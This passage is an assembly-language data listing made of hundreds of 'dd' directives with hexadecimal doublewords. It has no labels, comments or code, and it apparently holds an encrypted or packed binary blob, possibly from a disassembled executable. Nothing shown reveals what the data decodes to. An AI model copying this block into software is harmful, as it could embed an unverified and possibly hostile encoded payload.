0EDB29D7Dh dd 947FD76Eh, 9EBBEF46h, 461C04C7h, 0C71EFBF3h, 8EE12842h dd 0B2D7A170h, 0ADEDC7B0h, 0B004836Bh, 6BADECC7h, 0C7B08483h dd 836BADEFh, 0A1F26967h, 0A1B854ADh, 0AD237F51h, 5DA17EC8h dd 0F6DE486h, 0B2452890h, 50DAADA0h, 0F006907Fh, 29A00FEDh dd 2DA89E65h, 94F9D75Ah, 15C6D3C4h, 14D21B0h, 0F7D43BBDh dd 0A39B6DEDh, 0A0F7E52Dh, 0ED952179h, 51E1A36Bh, 0A96DE9C7h dd 0C7CBF6D7h, 30252DDDh, 0E5865DA2h, 732042ADh, 6DE847F0h dd 0D090D7F9h, 0F2DDDC4h, 649A9B0h, 0E7CC70CEh, 0DF4730C8h dd 0E0A00F2Dh, 0ADA0A371h, 2C57E7B1h, 0FEDE584h, 5955E1A0h dd 22E2ADA4h, 0A273C871h, 0A5B00F32h, 70CEC669h, 10C8E7CEh dd 0F2DE147h, 5955EAA0h, 22F72D94h, 809E65ABh, 7FD7552Dh dd 77EC46A4h, 5DEBF7B4h, 0FC6DA552h, 0F845ED32h, 0C7F36DA0h dd 0A0EF4076h, 76C7B36Dh, 30E6C644h, 9292E7FAh, 57FCDF04h dd 47A47FD7h, 0D78DBAC1h, 95F26969h, 0E278C8ADh, 6D60D251h dd 0B24BE7F0h, 9FFCDF84h, 0E0A8F9D7h, 0C7B10B8Ch, 0CE464C76h dd 17E7C870h, 2DCD0730h, 6D6DA00Fh, 8770CE86h, 0F269EBC7h dd 816BF797h, 0CCC7B059h dd 0E9280BADh, 2DA4DA4Dh, 847FD71Dh, 8B3AEF07h, 8704F8E7h dd 0B00F2DE5h, 0B5DB556Ch, 0E832D92Dh, 0ADA0BB75h, 4965E7C9h dd 536D9473h, 44B4F9D7h, 0F7A7FCDFh, 0EC44F0B5h, 0A2E7844Ah dd 0ED96C145h, 59A2B1A4h, 0C56D357Eh, 87E0F5F7h, 0A1A52DD7h dd 0AC417569h, 0B5F7192Dh, 0FCED44D4h, 0D0B5F744h, 59FCED44h dd 6DF099F7h, 33B4EDADh, 0E18445A1h, 26AF35EDh, 8CE6C545h dd 6925E7F0h, 0E1AD49C0h, 8547F1D7h, 0AF35EDF1h, 0E685556Ah dd 2AC707BCh, 2DED4549h, 59602170h, 47ADEDC4h, 541A4E7h dd 0F7206DEDh, 0EE0679A2h, 6DD7566Dh, 0ADE40641h, 9C15C7B5h dd 54F2F0C5h, 8765E5F7h, 0A107ADE4h, 9DC3716Eh, 62F7862Dh dd 0EDA1695Dh, 59EAF72Fh, 612DA22Dh, 7F71A720h, 0A1BB7484h dd 0F5C745E6h, 0AAF7B8EDh, 339FA35Dh, 65E1E7C1h, 27645523h dd 84D4BD00h, 0E70774ECh, 0FB4775E8h, 0E5A038F0h, 0F2E60551h dd 7928E7BAh, 0DBED8E99h, 86D436D7h, 0B359F5E5h, 0ECC555A2h dd 0A7E7BA6Dh, 0F4A26365h, 0B8A7C7B6h, 0BA6DAE62h, 0C4F07AD7h dd 0D7E474C3h, 0D0C5F841h, 0B8E79EADh, 0AD9923A4h, 59A5A309h dd 443CAF03h, 0E34163A1h, 0B1C96D81h, 0AD23E444h, 0A2B309ADh dd 0EDCFC465h, 4D2AC7D1h, 0FA34E5C6h, 6D51A191h, 0A11DAD8Dh dd 8D226D63h, 79BF55ADh, 34F546C2h, 0F090D7FBh, 2AEDC104h dd 0EA45A7A1h, 0D7106D6Eh, 82305167h, 0BB500934h, 0EDB322F0h dd 55E5C7C7h, 872DB243h, 0C555A0F7h, 0A144ADE7h, 85E34161h dd 6C77BB7h, 7FE28444h, 68BBC759h, 0E0B7B643h, 434DA5C7h dd 63FD2D72h, 0D96C7524h, 8275BEEDh, 2D63ACC1h, 6DECE765h dd 5B6DEEC4h, 4C65E1C7h, 8387EDA1h, 0C30551E5h, 36D7FF97h dd 0BCE644C4h, 0FD03813Eh, 3D97DB2Ch, 0CE94355h, 638D540Ch dd 0C7C46D22h, 4AE72477h, 5FD70748h, 0D14B75BEh, 0DDBF450Ch dd 6F78B9F7h, 0E7C274A3h, 8BF1FD83h, 0C5578A7h, 0E6E50743h dd 0DD4B457Eh, 0FC6D212Ch, 6EC50365h, 21CA8FD9h, 0F5C56960h dd 0AEF7862Dh, 0C645FB61h, 65A23304h, 8847C847h, 0C5444AE7h dd 1D047FC0h, 0C6EB9B9Ch, 666F3CBFh, 0A7D06C51h, 0E4BD4DB3h dd 55C7D744h, 6CC445C7h, 75BEED49h, 0AF63D582h, 62D7B46Dh dd 6D3DA941h, 0EC809187h, 8CED962Ah, 2A55EC6Bh, 39C47F40h dd 0EAC745A2h, 1DD7DF66h, 2F40772h, 7BC33DEDh, 0EAAD98CBh dd 46D2DF7h, 0E75B74FFh, 0C684D4FBh, 0BBC7FD34h, 488B24Bh dd 716DD7F2h, 0BBADC584h, 556681h, 0F750349Eh, 9DCFB7E6h dd 26F7F3C1h, 1C81F43Ah, 0E73BB02Dh, 4CB1F144h, 8BAD60B3h dd 716F6749h, 0E8F4B126h, 20F4B0A1h, 0AD052E30h, 91E6538Ch dd 0AAEDDD04h, 0F491A1F4h, 0D7F27927h, 999420A0h, 0E9E75FBCh dd 9ECC4A7h, 9D29D7EFh, 0BAA1E335h, 16B92BD4h, 0F4ABE154h dd 0F4F481E1h, 0E3F4B3A1h, 0ADB1A2A1h, 0D5FBD4FEh, 0C661E134h dd 0C765A2F4h, 0AAE4D1CAh, 0C6745523h, 0FFE7FC34h, 819E7BF0h dd 0BBED31E9h, 74619E0Ch, 0D4A92C3Dh, 0E2B67817h, 0EFB4287Eh dd 0D213C761h, 3F5A6F93h, 91B8F482h, 33A1F6B2h, 3595A6E4h dd 9893FFCDh, 0D13B867h, 63EED9ADh, 46F67155h, 0C79D1F22h dd 0E8E1C904h, 3D89A8F4h, 5437A3E6h, 0A915ADC0h, 223BD0ADh dd 0D9D84555h, 0B93FF7F6h, 5E40927Eh, 0C455A0B1h, 0E7F609D5h dd 97EBB937h, 0E8A1443Eh, 57C32A55h, 0A965D7D7h, 62D25B5h dd 4B1E705h, 25066DDDh, 0D1EB59EEh, 3F7FE66h, 7CC604C6h dd 0E5BFD7FBh, 7CF861EFh, 39AD5745h, 0D765677Eh, 0B10E456Bh dd 0C37D8CEDh, 0E2C86CC1h, 0C1CD759Eh, 0FBE2C9EFh, 4F575445h dd 14F5CE87h, 0F9B8E543h, 8FF71567h, 0C4F007F2h, 7D2E4D8Eh dd 0AF2D396Ch, 0AC81D004h, 614DAD01h, 1D6C7D6Eh, 62A12AADh dd 74C52F55h, 54FFD7FEh, 0EAA7DD44h, 150C2634h, 0C2F53499h dd 0C1C5B917h, 25E7B4CCh, 0EDE3C67Dh, 49A1C7DFh, 95F4DD45h dd 847D2DF7h, 0C7FBFCD6h, 0B0A0C087h, 67D7F3ADh, 0FCFF065Dh dd 887AA162h, 0F3B4ACA1h, 0C5F8BAF7h, 613F6DEEh, 0DFC57D6Dh dd 0E081A434h, 0E4A20E45h, 69E59326h, 0E0E4FEA1h, 21E97715h dd 0D7E0E4DEh, 0EBE0FCBAh, 75D77A9Ch, 8CFC84F0h, 7D67D07Fh dd 7FA4C786h, 61E4A9h, 0E788CE3Ch, 3C32CCB3h, 610A10ADh dd 0A41F22B8h, 0C9F49545h, 2FE4C6A1h, 21C9F695h, 9537A4E6h dd 0C6A0C9F0h, 7B853FA4h, 0ADB515EEh, 0F0B539D0h, 0A4BCDE04h dd 74C72D7h, 0D7FED4D5h, 0F744D435h, 0F1A5EBCCh, 39A461F9h dd 0E0B5B19Ah, 7BBCDE84h, 0E1EC3A91h, 0F725ED89h, 91E155E8h dd 0A0B35BEDh, 0EDD6C46Dh, 0FF0EC7D5h, 84EDDC44h, 651AAC7h dd 0A17334D3h, 85A04D26h, 0ADC726ADh, 0EDE48455h, 6D2DB121h dd 73EDE1C4h, 0C751E0A1h, 0C72F77C5h, 91804DE9h, 0AEF0EA37h dd 2DD9C665h, 5C8A9158h, 5B49748h, 0C56526C7h, 0D7A237CDh dd 56B5644Bh, 0BAD0B634h, 0EDE484DFh, 51677184h, 50EDA6E1h dd 0CFECF0E7h, 90496D90h, 87A9C7BAh, 57B1F1C6h, 0B4BF49FCh dd 0E471F7F6h, 0E8B4FF84h, 6616DD7h, 0C7E8F4FBh, 0ACDE5521h dd 33C7E8B4h, 0AD982BD4h, 796DE7E8h, 0DEADD0C5h, 0C74873D7h dd 711DF5E5h, 0C0C451E5h, 13404AF6h, 2DB4E3C4h, 0F05323C4h dd 41BEA069h, 4C41223h, 9119BEE2h, 6F22B80Eh, 500571A6h dd 96CB46D5h, 48F23334h, 95EDA6EEh, 4D0B5F7h, 0F7F5ADE7h dd 0E004070Eh, 1EF727F4h, 6D98E1F1h, 55A2C707h, 2566D806h dd 4575AEF7h, 739D35DBh, 0AF79F851h, 112371A6h, 0BEBCA1E4h dd 492B1332h, 0E5AD5D48h, 0C4D471F8h, 817137EEh, 0A908D8F0h dd 7AC7DE3Fh, 2D9A7864h, 0F3364159h, 0EDEDBCE1h, 77925D4h dd 7D526DD0h, 0E644A4E7h, 67A1FE6Dh, 0B1D70541h, 65EDC726h dd 773EC4C6h, 225961C7h, 0E7C16D5Dh, 83B461ECh, 4EC70FADh dd 0BCDE84D2h, 0B693F7C1h, 0E3A2E446h, 0B8AD57F7h, 0B119C4C3h dd 6C22F834h, 0AEFC3D47h, 0CD38465h, 0ADE2D43Fh, 97F4C239h dd 0C6FCB441h, 0E7B5EDE5h, 0A23749E1h, 61C24AADh, 6DEEC465h dd 65E1E7DBh, 1EDCEC4h, 615D6FA2h, 61D6ED8Eh, 67E14962h dd 0A81184F4h, 2DD54549h, 5D618363h, 60ED61A1h, 0B88CCBF7h dd 0B33BAD3Fh, 0CB747F3Ah, 0F7852BA1h, 34D6C67Ah, 8A6DF7F4h dd 52DF5C7h, 0B761E9E7h, 21CB2D9Dh, 0DF85F435h, 0A1C7E534h dd 0F4A9D67Dh, 0C037C7D6h, 0F94389F6h, 68433D7h, 0E7EEF4EAh dd 0A2816DE5h, 0A0A311F6h, 0B34C406Dh, 0C070A3BFh, 9BADB1E0h dd 0C6FC3B09h, 0C7FA71DEh, 0DBC5302Eh, 36C74A79h, 88E78614h dd 75A7AE76h, 0EC90F9B0h, 5089F3D7h, 0A1E601A0h, 3D3149AFh dd 0B8A43BEDh, 0A0F145D4h, 0B86EA2F2h, 32B8780Ah, 50888013h dd 0C7F5AD90h, 0DB866567h, 0A9D7572Dh, 0ADA27294h, 4469173h dd 87BBEE44h, 0A8CB7504h, 0F48EA196h, 90311C74h, 76D7D4ADh dd 2D519634h, 7562E892h, 693E9D56h, 0C4336BD7h, 93D933E0h dd 0BDE1D48Ah, 0F0D2D12Dh, 847C21ECh, 4A34A928h, 51ED5603h dd 7D831E7h, 0E7846DEEh, 8F4A61A2h, 20D7E0ADh, 2DD20679h dd 47B0E774h, 233CAA33h, 45D47083h, 9A30B4C5h, 0A800E79Ah dd 6E9FB830h, 6DD0C749h, 48DBF7F9h, 0E8ADE6C7h, 0C4752DF7h dd 0E7E6EDD5h, 8D4AC275h, 0B4D4BBE2h, 0ADB1A00Fh, 65E46227h dd 0B93CDCC4h, 0C7CC11B2h, 0D729ADF1h, 0EDC45DE6h, 0A2B16D6Dh dd 7EDD067Dh, 7DE0E7E5h, 0DAF469F6h, 0A1B105D7h, 4CADE3BCh dd 0AEFD8E6Bh, 0C9F7CAFBh dd 9E384ABh, 61EAA1E6h, 0D3ED61FEh, 0FEB90E58h, 282413EAh dd 0AD5B59ACh, 0C9F7E1CAh, 0ADD6C70Bh, 65E821F6h, 0BCADE3C4h dd 0D0512270h, 94FA3788h, 0C9B08DBEh, 73943DEDh, 719EBE38h dd 2036C7ACh, 21F42AB8h, 0C765E5A3h, 947060D6h, 6970BD93h dd 0A1C7F3B4h, 0AD91E055h, 4965220Fh, 0BCED805Bh, 0C2889D40h dd 284B4B5h, 0BDD0D4BAh, 73B4CB84h, 8A8CE150h, 0CB3BA143h dd 956D511Eh, 175DE54Ch, 0F7708292h, 5BBE1FB6h, 0A6E78AF0h dd 0A09E027Dh, 0B031B1D0h, 0E588F8B0h, 6995F3D7h, 0C7C6CAADh dd 0DCF99196h, 0B7916FE2h, 3BA5611Ch, 89B8E7CCh, 0B06DAFA3h dd 21944ED7h, 464ADBEh, 0C485F776h, 0F3F736BCh, 0BCC4A07Ch dd 6163ADFDh, 0F5C73DBDh, 0B6DF04F7h, 0B10A21C3h, 0E14555ADh dd 7BFC1EFCh, 83658D34h, 0F74775ADh, 77C23DDh, 575E0D7h dd 0E4535CECh, 0F93EF13Ch, 0F5B1E71Bh, 44C944E4h, 0D075116Fh dd 8CEDF2BDh, 0C7C8B88Fh, 0F72F2DE7h, 0A12B5DADh, 2E7170F4h dd 6DE1C751h, 756AE7E3h, 187C9E83h, 0C788517Dh, 0E7472DDCh dd 0D60549A1h, 6DE736EDh, 0EDD2C575h, 69EA7291h, 0E0ADC0C7h dd 444DE5E7h, 0E7B837D5h, 0D8844963h, 65E7FBF1h, 0ADA5EC5Dh dd 6163C7E7h, 0E5ADCFC5h, 0C5716BE7h, 0B1C06DF3h, 0FCC665ADh dd 6DD7B3ADh, 34F1C451h, 65A2E79Bh, 0E7F4CB45h, 0C7E8F6F7h dd 0E7252DE4h, 0DCC751AFh, 781C6ADh, 2D92B574h, 5D69D707h dd 97ADECC4h, 471A48Dh, 0E71F2DD2h, 0E4C46124h, 0A1A16EADh dd 8F962161h, 0ED42C057h, 0E0F43BEFh, 0C5752DF7h, 0E7956DE5h dd 0C1C569EBh, 7ED71700h, 6D9173D0h, 6D6EE7A4h, 0C53882C9h dd 0C55DA561h, 0C7A1F7D8h, 0F8C5A084h, 49C7FFADh, 0ADB8F5F0h dd 4780C7F5h, 0B26DF0C7h, 6CD18375h, 59BAA7D0h, 0E8EFB022h dd 2558067h, 0B1952CD5h, 79E95D0Eh, 0CAED902Fh, 0C4C64ED7h dd 0E7E66DEFh, 0E8C5D4D5h, 0C8759734h, 27FC8576h, 0F50365FCh dd 0C4A7D92Ch, 0AFF50D65h, 35ADA7DBh, 0CAC66757h, 491528E6h dd 6D458CFDh, 0F100F7C0h, 0B8A7C86Ch, 0EFF10275h, 558067E8h dd 0CF69ED02h, 17D7D4C6h, 37EE29F9h, 6DE46376h, 70EDB58Ch dd 0CA61674Fh, 0C7ACAD11h, 92A2F434h, 316DFEF8h, 7CAE2CECh dd 45679160h, 15BFDEC6h, 297121C7h, 71D4EDB1h, 0C645E38Dh dd 0CC45478Fh, 0E6FA2EC1h, 59A82B2Ch, 17E6D269h, 6F792A55h dd 0E7BA6DA6h, 0EAC569A4h, 0ACD745EDh, 7CC80651h, 592DF2B5h dd 468166ADh, 84616D53h, 91EEEDD9h, 0CDC66DEDh, 0AEBD47EDh dd 6D6CED6Dh, 47C5C780h, 1E376BA3h, 0C750BF44h, 0E291ADE2h dd 889C5164h, 0EBC718C7h, 34C5A1B4h, 49A48197h, 6CED72F2h dd 0D681E9B3h, 0BF47ED63h, 0C184B0BDh, 0ABC452EDh, 0EDAA63B9h dd 7DADF708h, 0B79D106h, 3665A7A1h, 0C45BF842h, 97E281F5h dd 0E9B4A6EDh, 6DA4D681h, 75EDE755h, 1021AA83h, 76B928D4h dd 7CC111CAh, 0ECF1A16Ah, 0F6B4A1E0h, 31ECC440h, 75E9F785h dd 0F57CF1C7h, 225045C7h, 0F75A8977h, 0FEC4D857h, 0F4E7ABB9h dd 7ADE0638h, 1F40D786h, 166DAE3Bh, 6696DD7h, 0F776ADECh dd 0EDC5C479h, 261146Dh, 7FEEC6D8h, 59E1F7CEh, 0C6AD94CFh dd 645A0B1h, 0F72F30F8h, 699259E8h, 255121EDh, 6DA84F75h dd 0F73FE7E9h, 0EA37B418h, 0C7496BB1h, 0CC986DF0h, 0CEC6C48Ch dd 0E7E7B6EDh, 6DA83279h, 55E4F7F6h, 7EF3EB06h, 0C484B862h dd 0F7D1F4ECh, 0ADEE3C7Ah, 8DC7A56Dh, 6DD006D8h, 58B5E7EBh dd 0C9EDF006h, 0C46DECE7h, 0E78474F3h, 0BAC17526h, 1F772ADh dd 0ADD5C6F0h, 7DE9D797h, 872DCD84h, 0A375E0D7h, 0F7D5ED96h dd 0C0C47D6Dh, 24E774F6h, 0F39F3C79h, 8803C754h, 0DF2DD5C7h dd 83752DF7h, 6033ADB3h, 0BB9C5D6Ch, 4D5C45ADh, 6DF40524h dd 7D6B6032h, 3374B17Eh, 9C5D6F60h, 0E7F82D9Ah, 0D8C545A7h dd 42E786BBh, 2DCD84A4h, 75ABE7E1h, 70B784E1h, 0BC0842C7h dd 4203ED89h, 0E1C66D20h, 4C4C47EDh, 3A4DF8Bh, 5D67580Dh dd 0C5ED983Ch, 856D21D7h, 0F738EDE5h, 0DBC76965h, 0E5E7E3ADh dd 0EDE60475h, 71E950B8h, 7EADA53Ch, 0DEA54940h, 50FB6D6Eh dd 0DE3E89CAh, 0D5C715B3h, 0AD91AC18h, 0A8CED727h, 0A56DE6C5h dd 0C769E5E7h, 709FADC3h, 0FDC66960h, 0E06033B7h, 0BBFA876Dh dd 75A7E7F4h, 1A3BE3C5h, 19A452D7h, 5C8FADB6h, 0D5C48440h dd 0ADF7D3C2h, 0ADD18649h, 0B0D1E7EAh, 722DED85h, 5205452h dd 0E7FA6DE6h, 0EFC555A7h, 0A0D7F173h, 0EDF60475h, 5DA6F7DFh dd 0D4FAC604h, 0F06525E7h, 0C726AD93h, 0D2C475A9h, 6B10D4EDh dd 2DCDC545h, 41A2E75Dh, 0D1BA7458h, 1E2400C7h, 0F7652D8Eh dd 0E7848882h, 4DC7E72Dh, 0F1957F0Ch, 9440D765h, 0D983FBC6h dd 4B4F1E7h, 6207EDD5h, 0F1453290h, 0CE1CC042h, 92DE47A0h dd 0AB9D6207h, 33ED69BBh, 1965A060h, 509442AEh, 0EE84B010h dd 0EDD7DE6Dh, 0EDF54655h, 6563E170h, 322DD846h, 0A3F40960h dd 0A3286DA5h, 0F5467D6Bh, 2E91C06Dh, 3AC38645h, 0E877E730h dd 81ED9F3Fh, 4F300F7h, 0C729EDD1h, 0D04445AAh, 40A165B2h dd 3AD6C45Ch, 55ADC7C7h, 35ADFF86h, 0C47DE5E7h, 0E75A6DE6h dd 976C61E4h, 63C75CADh, 6DDB8565h, 4DA08DE3h, 26EDE644h dd 659A091h, 6033F4DDh, 8E9C5DE7h, 82C7222Dh, 0ADF506D4h dd 64358B6Ch, 0DA747521h, 5F65E4E7h, 0A328ED61h, 0B1FFF036h dd 2093216Dh, 0ADBB7D7Dh, 201860BEh, 70ADF684h, 44796BE1h dd 0E77F7CC9h, 0DA0569E7h, 2EC7302Dh, 0ADF88575h, 845193AFh dd 0FFADEC46h, 77D2518h, 0E722EDE1h, 8D0155E0h, 9BC7D1ADh dd 6DB53F28h, 0D4BDF785h, 83B34A21h, 0E371EDE7h, 0D734ED71h dd 0F50659EDh, 68C779EDh, 0AD7E6069h, 456EA13Ch, 636DE485h dd 47796BB1h, 0B184EDC7h, 0C9C76073h, 0A5F7C52Dh, 0BC88E16Dh dd 0B71B24DCh, 9A2DCD06h, 1A752DD7h, 93C02DADh, 0B26075A0h dd 0F4D7B174h, 0B481E174h, 5D65D7B8h, 7674B241h, 4648F5F7h dd 9398EDEBh, 0A1C161E3h, 0F1E77C73h, 0ADC704B0h, 6D68D729h dd 5B6DA5B6h, 46C4F2C7h, 9327ADFAh, 0E4C641E6h, 6BA1FCADh dd 0FCEEC779h, 0E3C7A167h, 0E133E2C5h, 8255E681h, 0F786F485h dd 61AD652Dh, 0E5E7707Bh, 2D9DE3FCh, 51E591F8h, 0B8C7B572h dd 464525F7h, 0F7252DD4h, 0E6C4E8BDh, 0A5F71B6Dh, 6DD0046Dh dd 0B493F71Fh, 6ABFF546h, 84F8BB80h, 0D7D8F4D9h, 0F686D4BCh dd 6B63BCFCh, 3CF9C761h, 61A3C732h, 0E60C2423h, 0E24CF8D7h dd 0B173FF5Bh, 0D30675ADh, 0E0A13839h, 0B7A76F59h, 6562E7A0h dd 0E2AD8F19h, 4E46BE7h, 611274E0h, 0BA4C75EAh, 4783767Ch dd 2D98A164h, 0E0BDF73Eh, 0CCAD8063h, 6D4F6B3h, 0F75F2DCDh dd 0C46FC78Fh, 4EC7DD74h, 0ED9CED54h, 79A2C76Ah, 738CF45h dd 3641A5D7h, 59062D91h, 0DB84C0BCh, 9063E92Dh, 0EDDE06F4h dd 69A2F7D7h, 0DB30F7C5h, 0C6F8C0D7h, 0C72BEDFDh, 0F9046D24h dd 64918D2Dh, 0B1A54375h, 7960F7DBh, 0E79F995Ch, 0CFD58DE7h dd 45412D5Dh, 0B46FED4Ch, 0F758CADh, 0AD402FF1h, 59297F4Bh dd 7117E404h, 0A3D149E7h, 4510AD2Dh, 0A96E65E7h, 0BC192CEDh dd 2DD8C6FCh, 7966B165h, 0B8F6EAC4h, 6E69A5F7h, 0F79D275Bh dd 0FDC7C4FFh, 305A6BEh, 2DED079Ch, 0D777F7B3h, 63AD8F0Bh dd 46A757D7h, 0E7FF7BFEh, 848375A9h, 0BDE73874h, 6DD14444h dd 75232FD5h, 0FCED75C3h, 85645FA3h, 358EADF9h, 0E02BD19Eh dd 0AF2D54ADh, 0ED5FCA65h dd 0C0583591h, 0E4AD0D40h, 758F8D7h, 0A3A32DD5h, 0F185F0F6h dd 6E93282Dh, 0AD762B59h, 7525913Eh, 0C36D9BC3h, 60DBD9E7h dd 0BDC4EDA6h, 0B1B76D21h, 6B6D0F3Eh, 0EDF4C749h, 982FB165h dd 2FAD9035h, 86C4B6E7h, 71B5FCD2h, 0C50471A5h, 0DEE730EDh dd 0F90F2BC5h, 4922F7D6h, 94B48A0Fh, 8A34E2F7h, 619434B2h dd 0AED44D23h, 0D4F7146Dh, 32A4BAD9h, 0FEB8B596h, 0C97BE205h dd 87656321h, 0BD9C7CF1h, 0E7C75DACh, 2EC726F4h, 0EDEDC471h dd 4563E7F1h, 559CFC7h, 7BBEEC7h, 0F7E6ADE0h, 0CFC7A46Eh dd 0EEC7B959h, 0F4946134h, 45632350h, 0DF7CF104h, 776968F7h dd 0C7E0397Fh, 0C7042428h, 0EFD7D701h, 2D908D14h, 0FCF5C7C6h dd 96023A60h, 79E1BA5h, 0F74A39DAh, 0FE84BF6Fh, 0E4B100BCh dd 0FABE5769h, 92F7D7BBh, 0AE79D745h, 0E2556392h, 8EEC419Eh dd 87176D64h, 18C7E46Dh, 0C841D654h, 8EEC724h, 30EDD0C7h dd 2CFCB7ADh, 0C7E76D86h, 4D215418h, 74F7D6ADh, 945E07Ch dd 0D84CA3A9h, 0F92DB335h, 8449AAAEh, 0CC5998D2h, 0A3E185FDh dd 5DD732ADh, 84FE063Ch, 342AD735h, 2C6D6640h, 0E1C477C7h dd 0D783F4F5h, 9681756Dh, 34E7E4B2h, 0FCC54564h, 49A9D0F7h dd 0ABB350D5h, 8565A1F7h, 3150ADD3h, 0FCC55521h, 21A09AF3h dd 0EDE1C57Dh, 6166D7F5h, 0D9AD9772h, 0C5C48AF7h, 0C0BAFCD5h dd 0E3457522h, 29D7DF71h, 7CFE447Dh, 65A5E774h, 166DEE84h dd 55D6BE7h, 5D97ADEDh, 0F6C57DA9h, 20B17D3Ch, 0EDC5BA41h dd 0F05281A9h, 262DC5C4h, 87DCBC91h, 0AF84ADDCh, 0D484A687h dd 0AC10FBF4h, 2DAC006Dh, 652D3CC1h, 86EDE104h, 457561E7h dd 61A2B4DAh, 0FDC4796Ah, 6DC7D53Fh, 0ADFCC57Dh, 75E6D772h dd 38AD3239h, 0B85166B1h, 0D7ED3087h, 98BCDC32h, 0A5D7E8B1h dd 0F36CBC79h, 0ACA2423Eh, 2BADA200h, 85B443E7h, 0C7646DEDh dd 0FB466DE2h, 547823B5h, 0B5B34D4Ch, 6DE5E74Ah, 877BFDC5h dd 6C857E7h, 6174B4D7h, 0B300E82Ah, 7D7637Ch, 738C7128h dd 8B47428Ch, 0C9FBCAC5h, 7FC73621h, 0F154F32Ch, 0A0E3F036h dd 2771EA74h, 4B86C949h, 79E9E705h, 0EC74E2C5h, 0C6E044F7h dd 0C7F8F1DDh, 0F4C749E7h, 0E8E72F2Dh, 3082E951h, 756DE0A0h dd 4FEDF0C7h, 0C5B9CB6Ch, 625EADE4h, 0FB04EC4Ah, 22F7072Dh dd 0F6E8C545h, 616EF7E7h, 8847E9C5h, 6AB8FE7h, 21A16DC0h dd 0F6467602h, 6D92983Ch, 6DEEC561h, 51A5E7B7h, 892D9A60h dd 0A06D6EE7h, 60E8AD55h, 0ADEC7DE6h, 3D8379ADh, 2D7783B4h dd 4FBFF73Bh, 0BAD35F8h, 341A0E7h, 0F70D2D8Dh, 878069E6h dd 0B6A38BB0h, 0FCD206E4h, 592DF7DFh, 7477B335h, 4E492461h dd 0D77B6D46h, 0FDC434C9h, 0A17100ADh, 40CF4755h, 79A0C7CEh dd 0FBED95A3h, 3410C9D7h, 2283B4B9h, 0A29B51A7h, 0B7E7ED74h dd 74859BBFh, 0B89ED770h, 6A5AA43Bh, 4655A430h, 22D4FCD2h dd 0A921C47Ch, 0E0D7702Dh, 7CBFEE7Dh, 0C04561A4h, 0E2ADD184h dd 0E159E0D7h, 0D75C7484h, 0B6E371A2h, 0A2E71AADh, 0EDFD4575h dd 5163918Dh, 0E344E044h, 84596DF7h, 0D787EDE1h, 849279A6h dd 15B3BFBBh, 0B5F385F4h, 6926E786h, 0C9B4CAC5h, 4B598D7h dd 0E072EDCAh, 0C247540Eh, 3440AC0Ah, 3AD705ECh, 752DF2DEh dd 13EDFBC5h, 45E8BCD2h, 32E3FCCEh, 0DDC7004Bh, 6DF7E4ADh dd 2DCE0565h, 6036F725h, 0B1F3BFA9h, 0C57D6D91h, 0D724F8C8h dd 0D604DCB6h, 0ED534CADh, 0F4E4447Dh, 65A7C705h, 72DE6C5h dd 59085D7h, 0D7FAC7C1h, 0E5056DE5h, 0E0D7152Dh, 0B7A4ED55h dd 5125D73Ah, 672DE687h, 854920A1h, 0D725EDE4h, 9C2179E9h dd 6AADA1EDh, 2DDAC771h, 6DA52147h, 712D8E20h, 0C36873E7h dd 0E7DF3C96h, 97416127h, 0E571F0FBh, 0EDEF0471h, 0C473F747h dd 86EDE2C7h, 468880E7h, 0D754EDF0h, 0CDC76DA5h, 6AE795BCh dd 7497724Dh, 6DA19DCEh, 2574D4C5h, 47D2AD7h, 0C71AEDE1h dd 0AF2179A6h, 0C6E7FE6Dh, 77DD05BEh, 1C88D779h, 0B3EDE184h dd 55D6DF7h, 0D7A56DD5h, 0E9844920h, 0A212AA59h, 0B783FC49h dd 7DA6D71Ah, 0E8AD8D20h, 98692AC7h, 0C7DFADA6h, 0BB8F6D6Ah dd 46E06241h, 2DDD0470h, 0B4CFF774h, 676D83CEh, 0C771682Dh dd 99062DFEh, 866B59A6h, 0A240AEF4h, 2D5D6155h, 61E1D786h dd 0D8F4C0C5h, 0C569A9C7h, 0A128EDE6h, 7D826924h, 0AAD707EDh dd 0EDE04645h, 0C00F7D66h, 346DACCDh, 85D8B1F7h, 436431D8h dd 340CCCBBh, 0B7F2E1ADh, 0FB99A174h, 0DCFBF707h, 0DB3493E2h dd 0C7ECB6D7h, 170FFE3h, 0ACC95085h, 1C7646Dh, 0B4CCC740h dd 0E0BBC772h, 1FBBA06Ch, 479C0602h, 0D7B33CF8h, 88AF8C46h dd 256072B7h, 6DD64645h, 428C4366h, 4E6D468Fh, 0FC5B8369h dd 0C700F0BDh, 0F3C77485h, 0B7E76FB4h, 0BF9DE2D4h, 647A9156h dd 2014DA05h, 44EF02C7h, 490767E6h, 0FEC6696Dh, 8FA265ADh dd 774E2F7Ah, 6005C78Dh, 0CFEDAC8Eh, 4645A563h, 5D4E6DC1h dd 0F2C4060Dh, 49B12D77h, 0EDD686C4h, 80BFE751h, 5243F307h dd 0F46921B2h, 0E7B06DACh, 0A5AD7DA9h, 2DD7262Dh, 0EDE6457Dh dd 45621262h, 9BEDDEC5h, 0C77925D7h, 3F7EDFEh, 0A0E07163h dd 50E7D2ADh, 0B6FD86C4h, 708D5186h, 0F32DE9C4h, 0A8456921h dd 0A0ACB7B6h, 0FD86F450h, 50E7D1B6h, 0B6FD46F4h, 0D450E7DDh dd 0DFB6FD46h, 0C47563E7h, 0AC7EADF1h, 0F0464568h, 6343642Dh dd 0ADCDC569h, 7E9DE7F5h, 0BAC7E3C6h, 0C4F05DF7h, 50E547E6h dd 0B9CD5DA4h, 8E03AF73h, 2DD20704h, 79E10386h, 0B8EDAA21h dd 444FFFC7h, 0E7FFEDEDh, 5DCB7521h, 0ECF7DF2Dh, 0FC81CD7Dh dd 7019A1E9h, 0CBFFE3C7h, 97D65F7h, 7ED7ED8Eh, 0A81BEF9Eh dd 5CD7BE36h, 2D89EA53h, 7563620Fh, 583CDA45h, 217969A1h dd 2F036DA9h, 0F3464569h, 0DE03DA2Dh, 0F4D2C4F5h, 6DA2E7CEh dd 0B1E4D43h, 97DE4E7h, 0E7CB76BBh, 0D887456Bh, 6FD7DFBAh dd 0F4800A55h, 30A5E7CAh, 286D9D61h, 0EF69EE91h, 0E79AB76Dh dd 0CB070866h, 0DED73146h, 0F4D2C46Ah, 86E7F77Ch, 3572E644h dd 0EB55248Ah, 0E7FFED61h, 6ECB7566h, 26F75337h, 0FC407B23h dd 5529E7DFh, 0A86D9D0Ah, 21FC9B2Dh, 0E205268Dh, 0BB0A55AEh dd 0E6511776h, 2D511551h, 0A7DEB164h, 822DCD86h, 0C61726F7h dd 0D064F4E3h, 0C8C79F2Eh, 0ABC2D541h, 0B76DF961h, 